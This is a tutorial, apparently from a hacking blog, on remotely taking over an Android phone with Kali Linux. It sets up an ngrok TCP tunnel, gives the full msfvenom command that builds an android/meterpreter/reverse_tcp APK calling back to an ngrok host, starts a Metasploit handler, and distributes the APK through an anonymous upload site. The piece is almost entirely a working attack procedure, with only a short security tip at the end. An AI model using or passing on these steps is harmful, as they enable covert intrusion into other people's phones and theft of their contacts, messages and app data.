Hacking Android Remotely (WAN) using Kali Linux
This tutorial is about android hacking & how to set up the HTTP tunneling using ngrok to hack any android over WAN network; that is remote hacking.
The complete tutorial can be seen on ehacking blog here.
Usually in WAN, first you need to have a Static IP/Hostname and second you need to do Port Forwarding to allow your traffic transmission, and we all know that both are so difficult in real time as we have limited access to ports in a network.
So, what we will do in this scenario, we will setup a secure tunnel using Ngrok.
Ngrok is a tunneling reverse proxy system that establishes tunnels from public endpoint i.e. an internet to a locally running network service. This can help us to create a public HTTP/HTTPS URL for a website running locally in our machine. We don’t need to do any kind of port forwarding while using Ngrok and our network service will eventually expose to the internet with the help of TCP tunneling.
Step by Step Demo:
Step 01: Create an account on Ngrok to download
First you need to install Ngrok in your Kali machine.
Fire up Kali, and browse Ngrok to access its official website: https://ngrok.com/
You have to make an account first. Go to signup option and fill all the necessary fields.
(CAUTION: Do not use your work email or an email that has access to your private information. It is a best practice to use temporary emails while performing penetration testing. You can also use https://temp-mail.org/en/ to create your account)
After signing up, you can download ngrok installer for Linux.
Step 02: Unzip the downloaded file
Go to Download directory where your downloaded file resides.
You have to unzip this file. Use unzip command to extract the file.
Step 03: Copy the token, given to your account
After unzipping, you have to save the token that was given to your account.
Copy the token from here and paste it in your terminal. Make sure to paste the token in a same directory where you have ngrok.
You are all set to use this tool. Type in terminal:
# ./ngrok tcp [Port no:] (choose any port number on which you want to bind a connection)
The forwarding here specifies the TCP tunnel which ngrok has created. The connection has bind to localhost at port 4242. Now we need to generate a malicious payload by using msfvenom.
Step 04: Generate a payload by using msfvenom
Type command:
# msfvenom -p android/meterpreter/reverse_tcp LHOST=0.tcp.ngrok.io LPORT=10900 R > /root/Desktop/android.apk
Step 05: Start reverse TCP handler
Launch Metasploit-framework
Set exploit as multi/handler, Lhost as localhost i.e 0.0.0.0, Lport as 4242 and run exploit.
Step 06: Download the payload on your android phone to get a meterpreter session
To download this payload on android device we will upload it on www.upload.ee, a very useful website to upload your files securely & anonymously .
Browse this link on your android phone, it will download the zip file of our payload. Unzip it and install it in your phone. (allow option to install it from third party sources)
After installing and running the app from my android phone, I got a session in my Kali attacking machine.
That is how you can actually exploit an android phone and gain access remotely over the internet rather than on your local area network. After getting a session you know that an attacker can easily get your info, steal your contacts, messages, app data and many more. So, gaining access of your phone is that much easier when you don’t have awareness.
This exploit is tested on Android version 9.0, which is not an old version and currently in use by many users. A healthy tip to secure your Android device is to not install any application from an unknown source, even if you really want to install it, try to read and examine its source code to get an idea whether this file is malicious or not.
